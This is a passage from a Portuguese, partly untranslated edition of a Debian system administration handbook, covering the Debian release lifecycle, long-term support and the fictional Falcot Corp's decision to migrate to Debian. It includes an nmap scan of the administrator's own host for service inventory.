articles posted by Debian contributors on their respective blogs. While the contents do not
deal exclusively with Debian development, they provide a view into what is happening in the
community and what its members are up to.
è https://planet.debian.org/

O projeto também está bem representado nas redes sociais. Enquanto o Debian só tem uma
presença oficial nas plataformas construídas com software livre (como a plataforma de micro-
blogging Identi.ca, que funciona com pump.io), há muitos colaboradores Debian que mantém
contas de Twitter, páginas do Facebook, páginas Google+ e muito mais.
è https://identi.ca/debian

è https://twitter.com/debian

è https://www.facebook.com/debian

2https://micronews.debian.org/
3https://bits.debian.org
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è https://plus.google.com/111711190057359692089

1.5. O Papel das Distribuições

Uma distribuição GNU / Linux tem dois objetivos principais: instalar um sistema operacional
livre em um computador (com ou sem um sistema existente ou sistemas), e fornecer uma gama
de software que abrange todas necessidades dos usuários.

1.5.1. O Instalador: debian-installer

O debian-installer, projetado para ser extremamente modular, a fim de ser o mais genérico
possível, destina-se ao primeiro objetivo. Abrange ampla gama de situações de instalação e em
geral facilita grandemente a criação de um instalador derivado adequando-se a um caso parti-
cular.
Esta modularidade, que o torna também muito complexo, pode incomodar os desenvolvedores
que estão descobrindo esta ferramenta; queira utilizando no modo gráfico ou modo texto, a
experiência do usuário ainda é semelhante. Grandes esforços têm sido feitos para reduzir o
número de perguntas em tempo de instalação, em particular graças a inclusão do software de
detecção automática de hardware.
É interessante notar que as distribuições derivadas do Debian diferemmuito sobre este aspecto,
e fornecem um instalador mais limitado (muitas vezes confinado à arquitetura i386 ou amd64),
mas mais amigável para os não iniciados. Por outro lado, eles costumam se abster de se afastar
muito do conteúdo do pacote, a fim de se beneficiar tanto quanto possível da vasta gama de
softwares oferecidos sem causar problemas de compatibilidade.

1.5.2. A Biblioteca de Software

Quantitatively, Debian is undeniably the leader in this respect, with over 25,000 source packages.
Qualitatively, Debian’s policy and long testing period prior to releasing a new stable version
justify its reputation for stability and consistency. As far as availability, everything is available
on-line through many mirrors worldwide, with updates pushed out every six hours.
Many retailers sell DVD-ROMs on the Internet at a very low price (often at cost), the “images”
for which are freely available for download. There is only one drawback: the low frequency
of releases of new stable versions (their development sometimes takes more than two years),
which delays the inclusion of new software.
Amaioria dos novos programas de software livre rapidamente encontra o caminho para a versão
em desenvolvimento que lhes permite ser instalado. Se isso requer muitas atualizações, devido
às suas dependências, o programa tambémpode ser recompilado para a versão estável doDebian
(ver Capítulo 15, Criando umPacote Debian [440] para obtermais informações sobre este tópico).
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1.6. Ciclo de vida de um Lançamento

O projeto vai ter simultaneamente de três a seis versões diferentes de cada programa, chamadas
Experimental, Instável, Teste, Estável, Estável Antiga e até a Estável Antiga Antiga . Cada uma corres-
ponde a uma fase diferente em desenvolvimento. Para um entendimento claro, vamos dar uma
olhada no caminho de um programa, do seu empacotamento inicial à inclusão em uma versão
estável do Debian.

VOCABULÁRIO

Lançamento
O termo ”lançamento” , no projeto do Debian, indica uma versão especial de uma
distribuição (por exemplo, ”versão instável” significa ”a versão instável”). Ele tam-
bém indica o anúncio público de lançamento de qualquer nova versão (estável).

1.6.1. O Estado Experimental

Primeiro vamos dar uma olhada no caso particular da distribuição Experimental : este é um
grupo de pacotes Debian correspondente ao software atualmente em desenvolvimento, e não
necessariamente concluído, explicando o seu nome . Nem tudo passa por esta etapa, alguns
desenvolvedores adicionam aqui os pacotes a fim de obter o feedback dos mais experientes (ou
mais valentes) usuários.
Por outro lado, essa distribuição frequentemente abriga importantesmodificações para pacotes
básicos, cuja integração na Instável (Unstable) com erros graves teria repercussões críticas. Por-
tanto, é uma distribuição completamente isolada, com seus pacotes nunca migrando para outra
versão (exceto pela intervenção direta e expressa do mantenedor ou dos ftpmasters). Ela tam-
bém não é auto-suficiente: apenas um subconjunto dos pacotes existentes estão presentes na
Experimental, e geralmente não incluemo sistema de base. Esta distribuição é, portanto, útil prin-
cipalmente em combinação com uma outra distribuição auto-suficiente, como a Instável (Unsta-
ble).

1.6.2. O Estado Instável

Vamos voltar para o caso de umpacote típico. Omantenedor cria umpacote inicial, que compila
para a versão Instável e coloca no servidor ftp-master.debian.org.Este primeiro evento envolve
a inspeção e validação dos ftpmasters. O software fica então disponível na distribuição Instável,
que é a distribuição de ponta escolhida pelos usuários que estão mais preocupados em manter
seus pacotes atualizados invés de se preocupar com bugs graves. Eles descobrem o programa e
o testam.
Se encontrarem bugs, reportam para o mantenedor do pacote. O mantenedor então elabora
regularmente versões corrigidas que envia (por upload) para o servidor.
Every newly updated package is updated on all Debian mirrors around the world within six
hours. The users then test the corrections and search for other problems resulting from the
modifications. Several updates may then occur rapidly. During these times, autobuilder robots
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come into action. Most frequently, the maintainer has only one traditional PC and has compi-
led their package on the amd64 (or i386) architecture (or they opted for a source-only upload,
thus without any precompiled package); the autobuilders take over and automatically compile
versions for all the other architectures. Some compilations may fail; the maintainer will then
receive a bug report indicating the problem, which is then to be corrected in the next versions.
When the bug is discovered by a specialist for the architecture in question, the bug report may
come with a patch ready to use.

Figura 1.2 Compilação de um pacote pelos autobuilders

VISTA RÁPIDA

buildd, O recompilador
de pacotes do Debian

buildd é a abreviação de ”build daemon”. Este programa automaticamente re-
compila novas versões de pacotes Debian nas arquiteturas em que está hospedado
(compilação cruzada é evitada sempre que possível).

Assim, para produzir binários para a arquitetura arm64, o projeto tem máquinas
arm64 disponíveis. O programa buildd é executado nelas continuamente e cria os
pacotes de binários para arm64 do pacotes fonte enviados pelos desenvolvedores
Debian.

Este software é usado em todos os computadores que servem como autobuilders
para o Debian. Por extensão, o termo buildd é frequentemente usado para se referir
a estas máquinas, que geralmente são reservadas somente para este propósito.
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1.6.3. Migração para Teste

Um pouco mais tarde, o pacote terá amadurecido; compilados em todas arquiteturas, não vai
ter sofridomodificações recentes. É então um candidato de inscrição na distribuição Teste - um
grupo de pacotes instáveis escolhidos de acordo com alguns critérios quantificáveis. Todos os
dias um programa seleciona automaticamente os pacotes para incluir em Teste , de acordo com
os elementos que garantem um certo nível de qualidade:

1. carece de bugs críticos, ou, pelo menos, menos do que a versão atualmente incluído no
Teste ;

2. pelomenos 10 dias em Instável , que é tempo suficiente para encontrar e relatar quaisquer
problemas graves;

3. compilação bem-sucedida em todas arquiteturas suportadas oficialmente;
4. dependências que podem ser satisfeitas em Instável , ou que podem pelo menos ser muda-

das para lá junto com o pacote em questão.

É claro que este sistema não é infalível; bugs críticos são encontrados regularmente em pacotes
incluídos na Teste . Ainda assim, é geralmente eficaz, Teste apresenta muito menos problemas
do que a Instável , sendo para muitos, um bom compromisso entre estabilidade e novidade.

NOTA

Limitações da Teste

Muito interessante em princípio, a Teste coloca alguns problemas práticos: o ema-
ranhado de dependências entre os pacotes é tal que um pacote raramente pode
mover-se para lá totalmente por conta própria. Com os pacotes, dependendo uns
dos outros, as vezes é necessário uma grande quantidade de pacotes simultanea-
mente, o que é impossível quando alguns são atualizados regularmente. Por outro
lado, o script de identificação das famílias de pacotes relacionados trabalha duro
para criá-los (isso seria um problema NP-completo, para o que, felizmente, sabe-
mos de algumas boas heurísticas). É por isso que podemos interagir manualmente
com e orientar esse script, sugerindo grupos de pacotes, ou impor a inclusão de
certos pacotes em um grupo, mesmo que temporariamente quebre algumas depen-
dências. Esta funcionalidade é acessível para os gerentes de lançamento e os seus
assistentes.

Recorde-se que um problema NP-completo é de uma complexidade exponencial
algorítmica de acordo com o tamanho dos dados, sendo aqui o comprimento do có-
digo (o número de figuras) e os elementos envolvidos. A única maneira de resolver
é freqüentemente examinar todas configurações possíveis que podem exigir meios
enormes. Uma heurística é uma aproximada, mas satisfatória, solução.

COMUNIDADE

O Gerente de
Lançamento

Gerente de lançamento é um título importante, associado com grandes responsabi-
lidades. O portador deste título deve ter, de fato, de gerenciar a liberação de uma
nova versão estável do Debian, definir o processo de de desenvolvimento do Debian
Teste até que ele atenda aos critérios de qualidade para Estável. Eles também de-
finir um cronograma preliminar (nem sempre seguido).

Nós também temos Gerentes de versão estável (Stable Release Managers), muitas
vezes abreviado SRM, que gerenciam e selecionam as atualizações para a atual
versão estável do Debian. Eles sistematicamente incluem patches de segurança e
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examinam todas outras propostas de inclusão, numa base caso a caso, enviados por
desenvolvedores da Debian ansiosos para atualizar seu pacote na versão estável.

1.6.4. A Promoção de Teste para Estável

Vamos supor que o nosso pacote agora está incluído no Teste. Embora tenha espaço para me-
lhorias, o mantenedor do mesmo deve continuar a melhorá-lo e reiniciar o processo a partir
da Instável (mas a sua inclusão posterior na Teste é geralmente mais rápido: a menos que tenha
mudanças significativas, todas suas dependências já estão disponíveis). Quando se atinge a per-
feição, o mantenedor conclui seu trabalho. O próximo passo é a inclusão na distribuição Estável,
que é, na realidade, uma cópia simples da Teste em ummomento escolhido pelo Gerente de Lan-
çamento. Idealmente esta decisão é tomada quando o instalador está pronto, e quando nenhum
programa na Teste tem qualquer bugs críticos conhecidos.
Como esse momento nunca chega verdadeiramente, na prática, o Debian deve se comprometer
a: remover pacotes cujo mantenedor não tiver corrigido bugs a tempo, ou concorda em publi-
car uma distribuição com alguns bugs nos milhares de programas. O Gerente de lançamento
vai previamente anunciar um período de congelamento, durante o qual cada atualização para
Teste deve ser aprovado. O objetivo aqui é evitar qualquer nova versão (e seus novos bugs), e só
aprovar as atualizações com correção de bugs.

Figura 1.3 Caminho de um pacote através das várias versões Debian
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VOCABULÁRIO

Freeze: a casa arrumada
Durante o período de congelamento, o desenvolvimento do Teste é bloqueado;
nenhuma atualização mais recente é permitida. Apenas os gerentes de lançamento
são, então, autorizado a alterar , de acordo com seus próprios critérios. O objetivo
é prevenir o aparecimento de novos bugs através da introdução de novas versões;
apenas atualizações minuciosamente examinadas são autorizadas quando corrigir
bugs significativos.

After the release of a new stable version, the Stable Release Managers manage all further deve-
lopment (called “revisions”, ex: 7.1, 7.2, 7.3 for version 7). These updates systematically include
all security patches. They will also include the most important corrections (the maintainer of a
package must prove the gravity of the problem that they wish to correct in order to have their
updates included).
At the end of the journey, our hypothetical package is now included in the stable distribution.
This journey, not without its difficulties, explains the significant delays separating the Debian
Stable releases. This contributes, over all, to its reputation for quality. Furthermore, the ma-
jority of users are satisfied using one of the three distributions simultaneously available. The
system administrators, concerned above all about the stability of their servers, don’t need the
latest and greatest version of GNOME; they can choose Debian Stable, and they will be satisfied.
End users, more interested in the latest versions of GNOME or KDE Plasma than in rock-solid
stability, will find Debian Testing to be a good compromise between a lack of serious problems
and relatively up to date software. Finally, developers and more experienced users may blaze
the trail, testing all the latest developments in Debian Unstable right out of the gate, at the risk
of suffering the headaches and bugs inherent in any new version of a program. To each their
own Debian!

CULTURE

GNOME and KDE Plasma,
graphical desktop

environments

GNOME (GNU Network Object Model Environment) and Plasma by KDE are the
two most popular graphical desktop environments in the free software world. A
desktop environment is a set of programs grouped together to allow easy manage-
ment of themost common operations through a graphical interface. They generally
include a file manager, office suite, web browser, e-mail program, multimedia acces-
sories, etc. The most visible difference resides in the choice of the graphical library
used: GNOME has chosen GTK+ (free software licensed under the LGPL), and the
KDE community has selected Qt (a company-backed project, available nowadays
both under the GPL and a commercial license).

è https://www.gnome.org/

è https://www.kde.org/
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Figura 1.4 Trilha Cronológica de um pacote de programas do Debian
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1.6.5. O Status Estável Antiga e Estável Antiga Antiga

Cada lançamento Estável tem uma expectativa de vida de 5 anos e cada lançamento tende a acon-
tecer a cada 2 anos, pode acontecer de haver 3 lançamentos com suporte em dado momento do
tempo. Quando um novo lançamento estável acontece, o lançamento anterior se torna Estável
Antiga e o anterior a este se torna Estável Antiga Antiga.
Esse Suporte de Longo Prazo (Long Term Support - LTS) dos lançamentos Debiané uma iniciativa
recente: contribuintes individuais e companhias juntaram forças para criar a equipe Debian LTS.
Lançamentos antigos que não sãomais suportados pela equipe de segurança doDebian ficam sob
responsabilidade dessa nova equipe.
A equipe de segurança do Debian gerencia o suporte de segurança no lançamento Estável cor-
rente e também no lançamento Estável Antiga (mas apenas o tempo necessário para garantit um
ano de sobreposição com o lançamento estável corrente). Isso equivale, aproximadamente, a
três anos de suporte para cada lançamento. A equipe do Debian LTS gerencia os (dois) últimos
anos de suporte de segurança para que cada lançamento se beneficie por pelo menos 5 anos de
suporte e que os usuários possam atualizar da versão N para a N+2.
è https://wiki.debian.org/LTS

COMUNIDADE

Companhias que
patrocinam o esforço de

LTS

OSuporte de Longo Prazo é um comprometimento difícil de fazer noDebian porque
os voluntários tendem a evitar trabalho que não seja divertido. E prover suporte de
segurança em softwares com 5 anos de idade é— paramuitos contribuintes—muito
menos divertido que empacotar novas versões do desenvolvedor ou desenvolver
novos recursos.

Para dar vida a esse projeto, o projeto contou com o fato que suporte de longo
prazo era particularmente relevante para empresas e que elas estariam dispostas a
mutualizar os custos desse suporte de segurança.

The project started in June 2014: some organizations allowed their employees to
contribute part-time to Debian LTS while others preferred to sponsor the project
with money so that Debian contributors get paid to do the work that they would
not do for free. Most Debian contributors willing to be paid to work on LTS got to-
gether to create a clear sponsorship offer managed by Freexian (Raphaël Hertzog’s
company):

è https://www.freexian.com/services/debian-lts.html

In the Debian LTS team, the volunteers work on packages they care about while
the paid contributors prioritize packages used by their sponsors.

The project is always looking for new sponsors: What about your company? Can
you let an employee work part-time on long term support? Can you allocate a
small budget for security support?

è https://wiki.debian.org/LTS/Funding
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No contexto deste livro, você é o administrador de sistemas de um pequeno negócio crescente. Chegou a
hora de você redefinir o plano estratégico de sistemas de informação para o próximo ano em colaboração
com seus diretores, você escolheu migrar progressivamente para o Debian, por razões tanto práticas
quanto econômicas. Vamos olhar com mais detalhes o que espera por você…



Nós imaginamos esse estudo de caso para abordar todos os serviços de sistemas de informação
modernos usados em empresas de médio porte. Após ler este livro, você terá todos os elemen-
tos necessários para instalar o Debian nos seus servidores e voar com suas próprias asas. Você
também aprenderá como buscar eficientemente informações nos momentos de dificuldade.

2.1. Crescimento Rápidos das Necessidades de TI

Falcot Corp é uma fabricante de equipamentos de áudio de alta qualidade. A companhia está
crescendo fortemente, e tem duas fábricas, uma em Saint-Étienne, e outra em Montpellier. A
primeira tem por volta de 150 funcionários; e hospeda uma fábrica que produz alto-falantes, um
laboratório de design, e todo o escritório administrativo. A fábrica deMontpellier émenor, com
apenas 50 funcionários, e produz amplificadores.

NOTA

Companhia fictícia criada
para o estudo de caso

A empresa Falcot Corp estudada aqui é completamente fictícia. Qualquer seme-
lhança com uma companhia existente é mera coincidência. Igualmente, certos
exemplos dados neste livro também podem ser fictícios.

The information system has had difficulty keeping up with the company’s growth, so they are
now determined to completely redefine it to meet various goals established by management:

• infraestrutura moderna, facilmente escalável

• redução de custos de licenças graças ao uso de programas Open Source (Código Aberto);

• instalação de um site de comercio eletrônico, possivelmente B2B (negócio para negócio,
i.e. conectando sistemas de informação entre diferentes empresas, como um fornecedor
e seus clientes);

• melhoria significativa na segurança para melhor proteger segredos industriais relaciona-
dos a seus novos produtos.

Todos os sistemas de informação vão ser reformulados com estes objetivos em mente.

2.2. Plano Estratégico

Com a sua colaboração, a gerência de TI conduziu um estudo ligeiramentemais intenso, identifi-
cando algumas restrições e definindo umplano demigração para o sistema Open Source (Código
Aberto) escolhido, Debian.
Uma restrição significativa identificada é o departamento de contas que usa um software es-
pecífico, que somente funcionada no Microsoft Windows™. O laboratório, por sua vez, usa um
programa para desenho que somente funciona no OS X™.
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Figura 2.1 Visão global da rede da Falcot Corp

A mudança para o Debian será gradual; um negócio pequeno, com meios limitados, não pode
mudar tudo do dia para a noite. Para começar, o pessoal de TI precisa ser treinado em admi-
nistração do Debian. Os servidores precisam ser convertidos, começando pela infraestrutura
(roteadores, firewall, etc). seguidos pelos serviços ao usuário (compartilhamento de arquivos,
Internet, SMTP, etc.). Então os computadores do escritório serão gradualmente migrados para
Debian, para cada departamento ser treinado (internamente) durante a implentação do novo
sistema.

2.3. Por que uma Distribuição GNU/Linux?

VOLTA AO BÁSICO

Linux ou GNU/Linux?
Linux, como você já deve saber, é somente um kernel. As expressões, ”distribuição
Linux” e ”sistema Linux” são, portanto, incorretas: elas são, em realidade, distribui-
ções ou sistemas baseadas no Linux. Estas expressões falham ao não mencionar os
programas que sempre completam este kernel, entre eles os programas desenvolvi-
dos pelo Projeto GNU. O Dr. Richard Stallman, fundador deste projeto, insiste que
a expressão ”GNU/Linux” seja sistematicamente usada, de maneira a melhor reco-
nhecer a importância das contribuições feitas pelo projeto GNU e seus princípios
de liberdade nos quais foram fundados.

Debian has chosen to follow this recommendation, and, thus, name its distributions
accordingly (thus, the latest stable release is Debian GNU/Linux 9).
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Diversos fatores ditaramessa escolha. O administrador do sistema, que possui familiaridade com
a distribuição, assegurou que a mesma estaria listada como candidata na revisão do sistema de
computadores. Dificuldades econômicas e competição feroz tem limitado o orçamento para esta
operação, apesar da sua importância crítica para o futuro da empresa. Este é o motivo ao qual
soluções Open Source (Código Aberto) foram rapidamente escolhidas: diversos estudos recentes
indicam que estes são menos caros do que as soluções proprietárias e com relação a qualidade
do serviço é igual ou melhor, desde que pessoal qualificado para operá-los estejam disponíveis.

NA PRÁTICA

Custo total de
propriedade (TCO - Total

cost of ownership)

O Custo Total de Propriedade (TCO) é o total de dinheiro gasto com a posse ou
aquisição de um item, neste caso referindo-se ao sistema operacional. Este preço
inclui qualquer custo de licença, custo de treinamento de pessoas para trabalhar
com o novo programa, a substituição das máquinas que são muito lentas, reparos
adicionais, etc. Tudo decorrente diretamente da escolha inicial é levado em consi-
deração.

Este TCO, que varia de acordo com o critérios escolhidos na avaliação da mesma, é
raramente significativo, em si. Contudo, é muito interessante comparar o TCO cal-
culado de acordo com as mesmas regras. Este quadro de avaliação, portanto, é de
suprema importância, e é fácil de manipular em ordem para desenhar uma conclu-
são predefinida. Portanto, o TCO para uma única máquina não faz sentido, desde
que o custo do administrador também é refletido no número total de máquina que
ele administra, um número que obviamente depende do sistema operacional e das
ferramentas propostas.

Entre os sistemas operacionais livres, o departamento de TI olhou para os sistemas BSD
(OpenBSD, FreeBSD, e NetBSD), GNU Hurd, e distribuições Linux. GNU Hurd, o qual não lançou
nenhuma versão estável, foi rejeitado imediatamente. A escolha é simplesmente entre BSD e Li-
nux. O primeiro têmmuitos méritos, especialmente em servidores. O pragmatismo, entretanto,
levou à escolha do sistema Linux, já que a base instalada e a popularidade são ambosmuito signi-
ficativos e têm inúmeras consequências positivas. Uma destas Consequências é que é mais fácil
encontrar pessoas qualificadas para administrar máquinas Linux do que técnicos com experiên-
cia em BSD. Além disso, o Linux se adapta mais rapidamente a novos hardwares do que os BSD
(embora eles frequentemente fiquempescoço a pescoço nessa corrida). Finalmente, as distribui-
ções Linux são frequentemente mais adaptadas a interfaces gráficas amigáveis, indispensáveis
aos novatos durante a migração de todas máquinas do escritório para o novo sistema.

ALTERNATIVA

Debian GNU/kFreeBSD
Since Debian 6 Squeeze, it is possible to use Debian with a FreeBSD kernel on 32
and 64 bit computers; this is what the kfreebsd-i386 and kfreebsd-amd64 ar-
chitectures mean. While these architectures are not “official release architectures”,
about 90 % of the software packaged by Debian is available for them.

Estas arquiteturas podem ser apropriadas para serem escolhidas pelos administra-
dores da Falcot Corp, especialmente para o firewall ( o kernel suporta três tipos
de firewall: IPF, IPFW, PF) ou para um NAS (sistema de armazenamento por rede,
para o qual o sistema de arquivos ZFS foi testado e aprovado).
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2.4. Por que a Distribuição Debian?

Uma vez que a família Linux foi selecionada, uma opção mais específica deve ser feita. Nova-
mente, os critérios a serem considerados são abundantes. A distribuição escolhida deve poder
operar durante muitos anos, já que a migração de um para o outro implicaria custos adicionais
(muito embora menores do que a migração entre dois sistemas operacionais completamente
diferentes, como Windows ou OS X).
Sustentabilidade é, portanto, essencial, e deve garantir atualizações regulares e patches de segu-
rança durante muitos anos. O tempo de atualização também é significativo, já que, com tantas
máquinas para administrar, Falcot Corp não pode manejar essa operação complexa muito fre-
quentemente. O departamento de TI, entretanto, insiste em rodar a última versão estável da
distribuição, beneficiando-se assim de uma assistência técnica melhor, e garantindo patches de
segurança. Na realidade, atualizações de segurança geralmente apenas são garantidos por um
tempo limitado em distribuições mais antigas.
Finally, for reasons of homogeneity and ease of administration, the same distribution must run
on all the servers and office computers.

2.4.1. Distribuições Dirigidas Comercialmente e por uma Comunidade

Há duas principais categorias de distribuições Linux: dirigidas por uma empresa ou por uma
comunidade. A primeira, desenvolvidas por companhias, são vendidas com serviço comercial
de suporte. A última é desenvolvida de acordo com o mesmo modelo aberto assim como os
programas livres pelos quais é composta.
A commercial distribution will have, thus, a tendency to release new versions more frequently,
in order to better market updates and associated services. Their future is directly connected to
the commercial success of their company, and many have already disappeared (Caldera Linux,
StormLinux, Mandriva Linux, etc.).
Uma distribuição comunitária não segue nenhum calendário a não ser o seu próprio. Como o
kernel do Linux, novas versões são lançadas quando estão estáveis, nunca antes. Sua sobrevi-
vência é garantida, enquanto houver desenvolvedores ou companhias para suportá-la.
Uma comparação de diversas distribuições Linux levou a escolha do Debian por diversos moti-
vos:

• É uma distribuição comunitária, com o desenvolvimento garantido independentemente
de qualquer restrição comercial; seus objetivos são, portanto, essencialmente de natureza
técnica, que parecem favorecer a qualidade geral do produto.

• De todas distribuições comunitárias, é a mais significativa sob muitos pontos de vista: em
números de contribuidores, número de pacotes de programas disponíveis, e anos de exis-
tência contínua. O tamanho de sua comunidade é testemunha incontestável de sua conti-
nuidade.
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• Estatisticamente, novas versões são lançadas a cada 18 a 24 meses e com suporte por 5
anos, um planejamento que é agradável aos administradores.

• Uma pesquisa feitas com diversas companhias Francesas especializadas em programas
livres mostrou que todas elas provêm assistência ao Debian; é também, para muitos deles,
a sua distribuição escolhida, internalmente. Esta diversidade de provedores potenciais é
um trunfo importante para a independência da Falcot Corp.

• Finalmente, o Debian está disponível em diversas arquiteturas, incluindo ppc64el para
processadores OpenPOWER; o que tornará, portanto, ser possível instalar o Debian nos
últimos servidores IBM da Falcot Corp.

NA PRÁTICA

Suporte de Longo Prazo
(LTS) do Debian

O projeto do Debian LTS (Suporte de Longo Prazo) foi iniciado em 2014 e tem como
objetivo prover 5 anos de suporte de segurança para todos os lançamentos estáveis
do Debian. Como o LTS é de prima importância para organizações de grandes
implementações, o projeto tenta reunir recursos a partir de companhias que usam
o Debian.

è https://wiki.debian.org/LTS

Falcot Corp is not big enough to let one member of its IT staff contribute to the LTS
project, so the company opted to subscribe to Freexian’s Debian LTS contract and
provides financial support. Thanks to this, the Falcot administrators know that the
packages they use will be handled in priority and they have a direct contact with
the LTS team in case of problems.

è https://wiki.debian.org/LTS/Funding

è https://www.freexian.com/services/debian-lts.html

Once Debian has been chosen, the matter of which version to use must be decided. Let us see
why the administrators have picked Debian Stretch.

2.5. Why Debian Stretch?

Every Debian release starts its life as a continuously changing distribution, also known as “Tes-
ting”. But at the time wewrite those lines, Debian Stretch is the latest “Stable” version of Debian.
The choice of Debian Stretch is well justified based on the fact that any administrator concerned
about the quality of their servers will naturally gravitate towards the stable version of Debian.
Even if the previous stable release might still be supported for a while, Falcot administrators
aren’t considering it because its support period will not last long enough and because the latest
version brings new interesting features that they care about.
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Qualquer revisão de sistema computacional deve levar em consideração o sistema existente. Isto permite
a reutilização de recursos disponíveis o máximo possível e garante a interoperabilidade de vários
elementos que compreendem o sistema. Este estudo irá introduzir uma estrutura genérica a ser seguida
em qualquer migração de uma infraestrutura computacional para Linux.



3.1. Coexistência em Ambientes Heterogêneos

Debian integramuito bem em todos os tipos de ambientes existentes e lidamuito bem com qual-
quer outro sistema operacional. Esta quase-perfeita harmonia vem de uma pressão de mercado
que demanda que os editores de software desenvolvam programas que sigam padrões. Confor-
midades com padrões permitem que administradores troquem programas: clientes ou servido-
res, sendo livres ou não.

3.1.1. Integração com Máquinas Windows

O suporte a SMB/CIFS do Samba garante excelente comunicação em um contexto Windows. Ele
compartilha arquivos e filas de impressão com clientes Windows e inclui software que permite
a uma máquina Linux utilizar recursos disponíveis em um servidor Windows.

FERRAMENTA

Samba
A última versão do Samba pode substituir a maioria dos recursos do Windows:
desde daquelas simples do servidor Windows NT (autenticação, arquivos, filas de
impressão, download de drivers de impressoras, DFS, etc.) até as mais avançadas
(controlador de domínio compatível com Active Directory).

3.1.2. Integração com máquinas OS X

máquinas OSX fornecem, e podemusar, serviços de rede tais como servidores de arquivos e com-
partilhamento de impressão. Estes serviços são publicados na rede local, o que possibilita que
outras máquinas descubram e usem tais serviços sem qualquer configuração manual, usando a
implementação Bonjour da suite de protocolos zeroconf. O Debian inclui outra implementação,
chamada Avahi, que fornece a mesma funcionalidade.
No outro sentido, o daemon Netatalk pode ser usado para fornecer servidores de arquivos para
máquinas OS X na rede. Ele implementa o protocolo AFP (AppleShare) assim como as notifica-
ções necessárias para que os servidores possam ser autodescobertos pelos clientes OS X.
Antigas redes Mac OS (antes do OS X) usavam um protocolo diferente chamado Appletalk. Para
ambientes envolvendomáquinas usando este protocolo, o Netatalk também fornece o protocolo
AppleTalk (na verdade, ele começou como uma reimplementação deste protocolo). Ele garante
a operação do servidor de arquivos e filas de impressão, bem como um servidor de hora (sincro-
nização de relógio). Suas funções de roteador permitem interconexão com redes Appletalk.

3.1.3. Integração com Outras Máquinas Linux/Unix

Finalmente, NFS e NIS, ambos incluídos, garantem interação com sistemas Unix. NFS garante
funcionalidade como servidor de arquivos, enquanto NIS cria diretórios de usuários. A camada
de impressão BSD, usada por muitos sistemas Unix, também permite o compartilhamento de
filas de impressão.
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Figura 3.1 Coexistência do Debian com OS X, Windows e sistemas Unix

3.2. Como Migrar

Para garantir a continuidade dos serviços, cada migração de computador deve ser planejada e
executada de acordo com o plano. Este princípio se aplica independente do sistema operacional
utilizado.

3.2.1. Pesquisar e Identificar Serviços

Tão simples quanto parece, este passo é essencial. Um administrador sério sabe realmente quais
são os principais papéis de cada servidor, mas estes papéis podem mudar, e as vezes usuários
experientes podem ter instalado serviços ”selvagens”. Sabendo que eles existem irá pelomenos
permitir que você decida o que fazer com eles, em vez de excluí-los ao acaso.
Para este propósito, é sábio informar aos seus usuários do projeto antes de migar os servidores.
Para envolvê-los no projeto, pode ser útil instalar os programas de software livre mais comuns
em suasmáquinas antes damigração, com os quais eles irão se deparar novamente após amigra-
ção para o Debian; LibreOffice e a suíte de aplicativos Mozilla são os melhores exemplos aqui.

Rede e Processos

A ferramenta nmap (contida no pacote de mesmo nome) irá rapidamente identificar Serviços
de Internet hospedados por uma máquina conectada na rede sem a necessidade de se logar.
Simplesmente chame o seguinte comando em outra máquina conectada na mesma rede:
$ nmap mirwiz
Starting Nmap 7.40 ( https://nmap.org ) at 2017-06-06 14:41 CEST
Nmap scan report for mirwiz (192.168.1.104)
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Host is up (0.00062s latency).
Not shown: 992 closed ports
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5666/tcp open nrpe
9999/tcp open abyss

Nmap done: 1 IP address (1 host up) scanned in 0.06 seconds

ALTERNATIVA

Use o netstat para
encontrar a lista de
serviços disponíveis

Em uma máquina Linux, o comando netstat -tupan irá exibir a lista de sessões
TCP ativas ou pendentes, bem como portas UDP em que processos em execução
estão ouvindo. Isto facilita a identificação de serviços oferecidos na rede.

INDO ALÉM

IPv6
Alguns comandos de rede podem funcionar com IPv4 (o padrão geralmente) ou
com IPv6. Entre eles estão o nmap e o netstat, mas também outros, como o route
ou o ip. A convenção é que este comportamento seja habilitado pela opção de
comandos de linha -6.

Se o servidor é uma máquina Unix oferecendo contas shell a usuários, é interessante determi-
nar se processos são executados em segundo plano na ausência de seus donos. O comando ps
auxw exibe uma lista de todos os processos com suas identidades de usuários. Checando esta
informação contra a saída do comando who, que mostra uma lista de usuários logados, é pos-
sível identificar servidores ladões ou não-declarados ou programas rodando em segundo plano.
Olhando para crontabs (tabelas listando ações automáticas agendadas por usuários) irá, muitas
vezes, fornecer informações interessantes sobre funções cumpridas pelo servidor (uma explica-
ção completa do cron está disponível em Seção 9.7, “Agendando Tarefas com cron e atd” [217]).
Em qualquer caso, é essencial fazer backup de seus servidores: isto permite a recuperação de in-
formações após o fato, quando usuários irão reportar problemas específicos devido a migração.

3.2.2. Fazendo Backup da Configuração

É sábio manter a configuração de cada serviço identificado para poder instalar o equivalente no
servidor atualizado. O mínimo é fazer uma cópia de segurança dos arquivos de configuração.
Paramáquinas Unix, os arquivos de configuração são normalmente encontrados em /etc/, mas
eles podemestar localizados emumsub-diretório de/usr/local/. Este é o caso se umprograma
foi instalado a partir dos fontes, ao invés de um pacote. Em alguns casos, também podem ser
encontrados em /opt/.
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Para serviços de gestão de dados (como em bancos de dados), é fortemente recomendado expor-
tar os dados para um formato padrão que seja facilmente importado pelo novo software. Tal
formato é usualmente emmodo texto e documentado; ele pode ser, por exemplo, um dump SQL
para um banco de dados, ou um arquivo LDIF para um servidor LDAP.

Figura 3.2 Backups de bases de dados

Cada software de servidor é diferente, e é impossível descrever todos os casos existentes emdeta-
lhes. Compare a documentação do software existente com a do novo para identificar as porções
exportáveis (portanto, re-importáveis) e as que requeremmanipulação manual. A leitura deste
livro vai clarear a configuração dos principais programas de servidor Linux.

3.2.3. Assumindo um servidor Debian existente

Para assumir efetivamente suamanutenção, deve se analisar umamáquina que já esteja rodando
o Debian.
O primeiro arquivo a verificar é o /etc/debian_version, que usualmente contém o número
de versão para o sistema Debian instalado (ele é parte do pacote base-files). Se ele indica code-
nome/sid, significa que o sistema foi atualizado com pacotes vindos de uma das distribuições de
desenvolvimento (tanto testing quanto unstable).
O programa apt-show-versions (do pacote Debian de mesmo nome) verifica a lista de pacotes
instalados e identifica as versões disponíveis. O aptitude pode também ser usado para estas
tarefas, embora de uma maneira menos sistemática.
Uma olhada no arquivo /etc/apt/sources.list (e no diretório /etc/apt/sources.list.d/)
mostrará de onde os pacotes debian instalados costumam vir. Se muitas fontes desconhecidas
aparecem, o administrador pode escolher reinstalar o sistemado computador para garantir com-
